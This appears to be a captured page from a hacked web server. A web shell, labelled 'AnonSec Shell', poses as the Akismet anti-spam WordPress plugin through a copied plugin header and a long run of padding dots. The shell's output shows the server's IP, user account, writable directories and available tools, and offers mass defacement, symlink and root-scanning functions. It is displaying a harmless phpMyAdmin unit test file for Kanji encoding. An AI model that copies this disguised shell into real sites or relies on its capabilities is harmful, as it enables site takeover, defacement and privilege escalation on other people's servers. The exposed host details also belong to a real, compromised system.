#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/phpMyAdmin/test/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/share/phpMyAdmin/test/libraries/PMA_kanji-encoding_test.php
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Tests for Kanji Encoding Library
 *
 * @package PhpMyAdmin-test
 */

/*
 * Include to test.
 */
require_once 'libraries/php-gettext/gettext.inc';
require_once 'libraries/kanji-encoding.lib.php';

/**
 * Tests for Kanji Encoding Library
 *
 * @package PhpMyAdmin-test
 */
class PMA_Kanji_Encoding_Test extends PHPUnit_Framework_TestCase
{
    /**
     * Test for PMA_Kanji_checkEncoding
     *
     * @param string $encoding Encoding to set
     * @param string $expected Expected encoding list
     *
     * @return void
     * @test
     * @dataProvider checkEncodingData
     */
    public function testCheckEncoding($encoding, $expected)
    {
        mb_internal_encoding($encoding);
        $this->assertTrue(PMA_Kanji_checkEncoding());
        $this->assertEquals($expected, $GLOBALS['kanji_encoding_list']);
    }

    /**
     * Data provider for testPMA_Kanji_checkEncoding
     *
     * @return array Test data
     */
    public function checkEncodingData()
    {
        return array(
            array('UTF-8', 'ASCII,SJIS,EUC-JP,JIS'),
            array('EUC-JP', 'ASCII,EUC-JP,SJIS,JIS')
        );
    }

    /**
     * Test for PMA_Kanji_changeOrder
     *
     * @param string $kanji_test_list current list
     * @param string $expected        expected list
     *
     * @return void
     * @test
     * @dataProvider changeOrderData
     */
    public function testChangeOrder($kanji_test_list, $expected)
    {
        $GLOBALS['kanji_encoding_list'] = $kanji_test_list;
        $this->assertTrue(PMA_Kanji_changeOrder());
        $this->assertEquals($expected, $GLOBALS['kanji_encoding_list']);
    }

    /**
     * Data Provider for testPMA_Kanji_changeOrder
     *
     * @return array Test data
     */
    public function changeOrderData()
    {
        return array(
            array('ASCII,SJIS,EUC-JP,JIS', 'ASCII,EUC-JP,SJIS,JIS'),
            array('ASCII,EUC-JP,SJIS,JIS', 'ASCII,SJIS,EUC-JP,JIS')
        );
    }

    /**
     * Test for PMA_Kanji_strConv
     *
     * @return void
     * @test
     */
    public function testStrConv()
    {
        $this->assertEquals(
            'test',
            PMA_Kanji_strConv('test', '', '')
        );

        $GLOBALS['kanji_encoding_list'] = 'ASCII,SJIS,EUC-JP,JIS';

        $this->assertEquals(
            'test è',
            PMA_Kanji_strConv('test è', '', '')
        );

        $this->assertEquals(
            mb_convert_encoding('test è', 'ASCII', 'SJIS'),
            PMA_Kanji_strConv('test è', 'ASCII', '')
        );

        $this->assertEquals(
            mb_convert_kana('全角', 'KV', 'SJIS'),
            PMA_Kanji_strConv('全角', '', 'kana')
        );
    }


    /**
     * Test for PMA_Kanji_fileConv
     *
     * @return void
     * @test
     */
    public function testFileConv()
    {
        $file_str = "教育漢字常用漢字";
        $filename = 'test.kanji';
        $file = fopen($filename, 'w');
        fputs($file, $file_str);
        fclose($file);
        $GLOBALS['kanji_encoding_list'] = 'ASCII,EUC-JP,SJIS,JIS';

        $result = PMA_Kanji_fileConv($filename, 'JIS', 'kana');

        $string = file_get_contents($result);
        PMA_Kanji_changeOrder();
        $expected = PMA_Kanji_strConv($file_str, 'JIS', 'kana');
        PMA_Kanji_changeOrder();
        $this->assertEquals($string, $expected);
        unlink($result);
    }


    /**
     * Test for PMA_Kanji_encodingForm
     *
     * @return void
     * @test
     */
    public function testEncodingForm()
    {
        $actual = PMA_Kanji_encodingForm();
        $this->assertContains(
            '<input type="radio" name="knjenc"',
            $actual
        );
        $this->assertContains(
            'type="radio" name="knjenc"',
            $actual
        );
        $this->assertContains(
            '<input type="radio" name="knjenc" value="EUC-JP" id="kj-euc" />',
            $actual
        );
        $this->assertContains(
            '<input type="radio" name="knjenc" value="SJIS" id="kj-sjis" />',
            $actual
        );
        $this->assertContains(
            '<input type="checkbox" name="xkana" value="kana" id="kj-kana" />',
            $actual
        );
    }
}
?>

Anon7 - 2022
AnonSec Team